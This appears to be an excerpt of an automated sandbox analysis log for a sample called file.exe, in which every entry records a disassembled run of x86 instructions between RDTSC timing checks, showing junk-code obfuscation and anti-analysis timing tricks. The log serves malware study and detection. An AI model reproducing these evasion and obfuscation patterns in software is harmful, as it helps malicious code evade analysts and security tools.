Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6937 second address: EC693B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8F2D second address: EC8F37 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9AED3FF386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8F37 second address: EC8F3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9985 second address: EC9989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9989 second address: EC9993 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9AEC795B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAE1D second address: ECAE23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAE23 second address: ECAE27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAE27 second address: ECAED6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AED3FF396h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F9AED3FF388h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 jmp 00007F9AED3FF397h 0x0000002b jmp 00007F9AED3FF393h 0x00000030 push 00000000h 0x00000032 adc di, 7B93h 0x00000037 mov dword ptr [ebp+122D199Ch], eax 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ecx 0x00000042 call 00007F9AED3FF388h 0x00000047 pop ecx 0x00000048 mov dword ptr [esp+04h], ecx 0x0000004c add dword ptr [esp+04h], 00000017h 0x00000054 inc ecx 0x00000055 push ecx 0x00000056 ret 0x00000057 pop ecx 0x00000058 ret 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c ja 00007F9AED3FF394h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECAED6 second address: ECAEF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9AEC795B4Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC29C second address: ECC2A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECB724 second address: ECB72A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC770 second address: ECC77E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F9AED3FF386h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC77E second address: ECC7FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007F9AEC795B4Eh 0x0000000e jc 00007F9AEC795B48h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 nop 0x00000017 jg 00007F9AEC795B4Ch 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ebx 0x00000022 call 00007F9AEC795B48h 0x00000027 pop ebx 0x00000028 mov dword ptr [esp+04h], ebx 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc ebx 0x00000035 push ebx 0x00000036 ret 0x00000037 pop ebx 0x00000038 ret 0x00000039 jnl 00007F9AEC795B52h 0x0000003f push 00000000h 0x00000041 pushad 0x00000042 mov dword ptr [ebp+122D2D8Eh], edi 0x00000048 push ecx 0x00000049 sub cx, 79D5h 0x0000004e pop edx 0x0000004f popad 0x00000050 xchg eax, esi 0x00000051 jmp 00007F9AEC795B4Fh 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push ebx 0x0000005a pushad 0x0000005b popad 0x0000005c pop ebx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF7D3 second address: ECF7D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE9E0 second address: ECE9E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF7D7 second address: ECF7DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE9E4 second address: ECE9EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF7DD second address: ECF7F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9AED3FF38Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF7F3 second address: ECF7F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEAA0 second address: ECEAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3CC2 second address: ED3CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3CC7 second address: ED3CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3E58 second address: ED3E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F9AEC795B46h 0x0000000c jmp 00007F9AEC795B58h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jnc 00007F9AEC795B4Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3E90 second address: ED3E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4EF0 second address: ED4F0C instructions: 0x00000000 rdtsc 0x00000002 je 00007F9AEC795B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F9AEC795B4Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED500C second address: ED502B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F9AED3FF396h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8EDA second address: ED8EF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDAC71 second address: EDAC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDAC75 second address: EDAC79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDAC79 second address: EDAC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDAC7F second address: EDACFE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F9AEC795B46h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007F9AEC795B4Dh 0x00000014 mov edi, dword ptr [ebp+122D29EEh] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F9AEC795B48h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 pushad 0x00000039 call 00007F9AEC795B53h 0x0000003e mov di, 07B8h 0x00000042 pop ebx 0x00000043 mov ecx, dword ptr [ebp+122D2C42h] 0x00000049 popad 0x0000004a xchg eax, esi 0x0000004b jmp 00007F9AEC795B54h 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDACFE second address: EDAD04 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6F76 second address: ED6F8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6F8C second address: ED7041 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9AED3FF393h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jns 00007F9AED3FF38Ch 0x00000013 push dword ptr fs:[00000000h] 0x0000001a jc 00007F9AED3FF386h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F9AED3FF388h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 mov dword ptr [ebp+122D1912h], esi 0x00000047 mov eax, dword ptr [ebp+122D0FC1h] 0x0000004d pushad 0x0000004e and edi, 6020C5CBh 0x00000054 mov dx, 52A0h 0x00000058 popad 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push ecx 0x0000005e call 00007F9AED3FF388h 0x00000063 pop ecx 0x00000064 mov dword ptr [esp+04h], ecx 0x00000068 add dword ptr [esp+04h], 0000001Ah 0x00000070 inc ecx 0x00000071 push ecx 0x00000072 ret 0x00000073 pop ecx 0x00000074 ret 0x00000075 call 00007F9AED3FF38Dh 0x0000007a mov di, bx 0x0000007d pop ebx 0x0000007e push eax 0x0000007f jnp 00007F9AED3FF394h 0x00000085 push eax 0x00000086 push edx 0x00000087 pushad 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9ED9 second address: ED9EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9EDD second address: ED9EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9EE1 second address: ED9EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED9EED second address: ED9EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDCBAB second address: EDCC40 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9AEC795B48h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D1B58h], ecx 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F9AEC795B48h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 jne 00007F9AEC795B60h 0x00000037 add dword ptr [ebp+122D190Dh], ecx 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+122D18CFh], ecx 0x00000045 xchg eax, esi 0x00000046 jg 00007F9AEC795B58h 0x0000004c push eax 0x0000004d pushad 0x0000004e jmp 00007F9AEC795B4Bh 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F9AEC795B4Ch 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBDBE second address: EDBDC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBDC2 second address: EDBDC8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDBDC8 second address: EDBDE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AED3FF395h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6E82 second address: EE6E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEC6FD second address: D10AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 add dword ptr [esp], 4DD94E13h 0x0000000c jmp 00007F9AED3FF38Fh 0x00000011 push dword ptr [ebp+122D0019h] 0x00000017 jmp 00007F9AED3FF38Ch 0x0000001c call dword ptr [ebp+122D1C78h] 0x00000022 pushad 0x00000023 cmc 0x00000024 xor eax, eax 0x00000026 mov dword ptr [ebp+122D1B74h], eax 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 stc 0x00000031 sub dword ptr [ebp+122D199Ch], edi 0x00000037 mov dword ptr [ebp+122D2C1Eh], eax 0x0000003d jne 00007F9AED3FF38Ch 0x00000043 jbe 00007F9AED3FF38Ch 0x00000049 mov esi, 0000003Ch 0x0000004e pushad 0x0000004f jmp 00007F9AED3FF38Ch 0x00000054 popad 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 mov dword ptr [ebp+122D1B53h], edi 0x0000005f clc 0x00000060 lodsw 0x00000062 stc 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 sub dword ptr [ebp+122D1B74h], ebx 0x0000006d mov ebx, dword ptr [esp+24h] 0x00000071 pushad 0x00000072 sub dword ptr [ebp+122D1B74h], esi 0x00000078 jg 00007F9AED3FF38Ch 0x0000007e xor ebx, 1D36E81Fh 0x00000084 popad 0x00000085 nop 0x00000086 pushad 0x00000087 push eax 0x00000088 push edx 0x00000089 jnp 00007F9AED3FF386h 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1960 second address: EF1964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1964 second address: EF196A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF196A second address: EF1984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jns 00007F9AEC795B46h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007F9AEC795B46h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1984 second address: EF1988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1988 second address: EF198E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF198E second address: EF19C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F9AED3FF393h 0x0000000e js 00007F9AED3FF386h 0x00000014 jmp 00007F9AED3FF395h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF19C6 second address: EF19CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83767 second address: E8376B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8376B second address: E837A7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9AEC795B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F9AEC795B4Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9AEC795B4Bh 0x00000018 jmp 00007F9AEC795B58h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E837A7 second address: E837BB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9AED3FF38Ah 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F9AED3FF386h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF105C second address: EF1063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF1063 second address: EF106F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnc 00007F9AED3FF386h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF11D4 second address: EF11D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF14FA second address: EF14FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8377D second address: E837A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9AEC795B4Bh 0x0000000c jmp 00007F9AEC795B58h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6403 second address: EF641C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F9AED3FF38Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF641C second address: EF6420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF685B second address: EF687D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AED3FF398h 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF687D second address: EF6883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6883 second address: EF6887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6887 second address: EF68B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B54h 0x00000007 jmp 00007F9AEC795B4Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF68B2 second address: EF68BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6E51 second address: EF6E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6E57 second address: EF6E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6E5E second address: EF6E7E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F9AEC795B56h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6E7E second address: EF6E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF8A0F second address: EF8A49 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 jmp 00007F9AEC795B4Eh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jnc 00007F9AEC795B74h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9AEC795B56h 0x0000001a jne 00007F9AEC795B46h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8869E second address: E886A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E886A3 second address: E886C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AEC795B58h 0x00000007 jl 00007F9AEC795B4Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A2C8 second address: E8A2D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F9AED3FF386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF97A second address: EFF980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF980 second address: EFF989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFF989 second address: EFF992 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0388 second address: EC03D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dl, bh 0x0000000c push eax 0x0000000d xor dh, 00000000h 0x00000010 pop ecx 0x00000011 lea eax, dword ptr [ebp+12483091h] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F9AED3FF388h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 jmp 00007F9AED3FF38Dh 0x00000036 push eax 0x00000037 pushad 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC047C second address: EC0497 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9AEC795B48h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007F9AEC795B5Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F9AEC795B46h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC05A1 second address: EC05A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC05A6 second address: EC05D3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9AEC795B5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e je 00007F9AEC795B46h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
